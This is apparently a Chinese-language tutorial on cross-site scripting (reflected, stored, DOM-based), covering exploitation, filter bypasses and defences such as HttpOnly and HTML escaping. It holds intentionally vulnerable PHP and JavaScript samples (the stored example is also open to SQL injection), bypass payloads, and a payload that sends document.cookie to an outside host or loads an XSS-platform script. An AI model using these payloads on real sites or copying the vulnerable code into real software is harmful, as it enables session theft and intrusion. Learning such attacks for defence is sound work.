0%

XSS类型、利用和防御

XSS类型

反射型

用户访问带有XSS代码的请求,服务器立即将代码发送至浏览器,浏览器执行恶意代码:

1
2
3
// http://127.0.0.1/reflect.php?xss=<script>alert(1);</script>
setcookie('session', 'qwerty');
echo $_GET['xss'];

1550126906314

存储型

XSS代码被保存(至数据库),待页面被访问时再执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$action=$_GET['action'];
$name=$_GET['name'];
$password=$_GET['password'];
$conn=mysql_connect('127.0.0.1','root','root');
mysql_select_db("test",$conn);
if($action=='get'){
$sql="select * from test where username='$name'";
$result=mysql_query($sql,$conn);
if($result){
while ($row = mysql_fetch_assoc($result)) {
print_r($row);
}
} else {
echo "Error".mysql_error()."</br>";
}
} else {
$sql="insert into test values ('$name', '$password')";
$result=mysql_query($sql,$conn);
if($result){
print_r($result);
} else {
echo "Error".mysql_error()."</br>";
}
}
?>

先插入一个存在问题的数据

1
http://127.0.0.1/saved.php?action=insert&name=anemone&password=<script>alert(/xss/)</script>

1550129399199

接着访问:

1
http://127.0.0.1/saved.php?action=get&name=anemone

1550129511724

DOM型

通过js操控dom引入xss代码:

1
2
3
4
5
6
7
<script>
// http://127.0.0.1/dom.php?url=javascript:alert(/xss/)
var url_search=document.location.search;
var the_url = new URLSearchParams(url_search).get('url');
var markup='<a href="'+the_url+'">Link</a>';
document.write(markup);
</script>

1550131058571

出现场景:

  • 在前端实现页面跳转(location.href=’javascript:alert(1)’)
  • 取值写入页面或动态执行
    • div.innerHTML=payload
    • eval(payload)
  • 使用HTML5 postMessage进行跨域通讯

利用

发送cookie:

1
http://127.0.0.1/reflect.php?xss=<script>fetch('http://127.0.0.2:8888/'.concat(window.btoa(document.cookie)))</script>

使用XSSPT平台:

1
http://127.0.0.1/reflect.php?xss=%3Cscript%20src=https://xsspt.com/v5Ia54%3E%3C/script%3E

绕过方式

  1. 使用input/img/svg等标签和onerror/onload/onfocus等属性绕过关键词:

    • <input autofocus id=a name="javascript:123" onfocus="alert(1)">
    • <img/src/onerror=alert(1)>
    • <svg/onload=alert(1)>
    • <video/src/onerror=alert(1)>
    • <video/src/onloadstart=alert(1)>
    • <details/open/ontoggle=alert(1)>
  2. 使用concat绕过黑名单单词:

    1
    'javascri'.concat('pt:aler','t(1)')
  3. 使用+绕过空格

  4. 二次编码

防御

开启Cookie的HttpOnly选项

反射型

  • (默认选项)添加浏览器保护头部x-xss-protection: 1

  • 渲染至页面时进行htmlencode

    htmlspecialchars('<script>') => &lt;script&gt;

存储型

渲染至页面时进行htmlencode

DOM型

在js中进行encodeURI过滤,对于标签中的属性(如示例中的href)使用正则过滤。

样例

至少过滤如下符号:

1
2
3
4
5
6
7
8
escapeHTML(t){
return t.replace(/&/g,"&amp;")
.replace(/</g,"&lt;")
.replace(/>/g,"&gt;")
.replace(/ /g,"&nbsp;")
.replace(/"/g,"&#34;")
.replace(/'/g,"&#39;")
}

参考链接